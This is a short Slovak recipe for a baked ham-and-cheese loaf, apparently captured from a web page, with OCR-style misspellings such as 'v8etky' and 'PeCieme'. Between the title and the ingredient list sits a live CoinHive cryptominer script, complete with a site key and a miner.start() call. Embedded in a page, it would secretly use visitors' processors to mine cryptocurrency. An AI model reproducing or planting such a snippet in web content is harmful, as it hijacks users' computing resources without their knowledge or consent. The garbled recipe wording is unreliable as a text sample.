Vydatny bochnik so syrom a Sunkou

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU

D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 350 g muky Mix B, 3 vajcia, 100 g jemne nasekanej Udenej Sunky, 100 g jemne
nasekanej varenej Sunky, 100 g struhaneho syra (napr. Emental, Cedar...), 70 g rozpusteného
margarinu, 125 ml mlieka, 15 g Cerstvého drozdia alebo 10 g suSeného drozdia

Postup: Muku zmieSame s vajcami, kym je zmes hladka. Rozpustite drozdie v mlieku, pridame
margarin a dobre premieSame. Priddme v8etky ostatné ingrediencie. Cesto vylejeme do
vymastenej formy, ktori sme vopred vymazali olejom alebo tukom a vysypali mukou. PeCieme
asi 40 minut pri teplote 180°C.




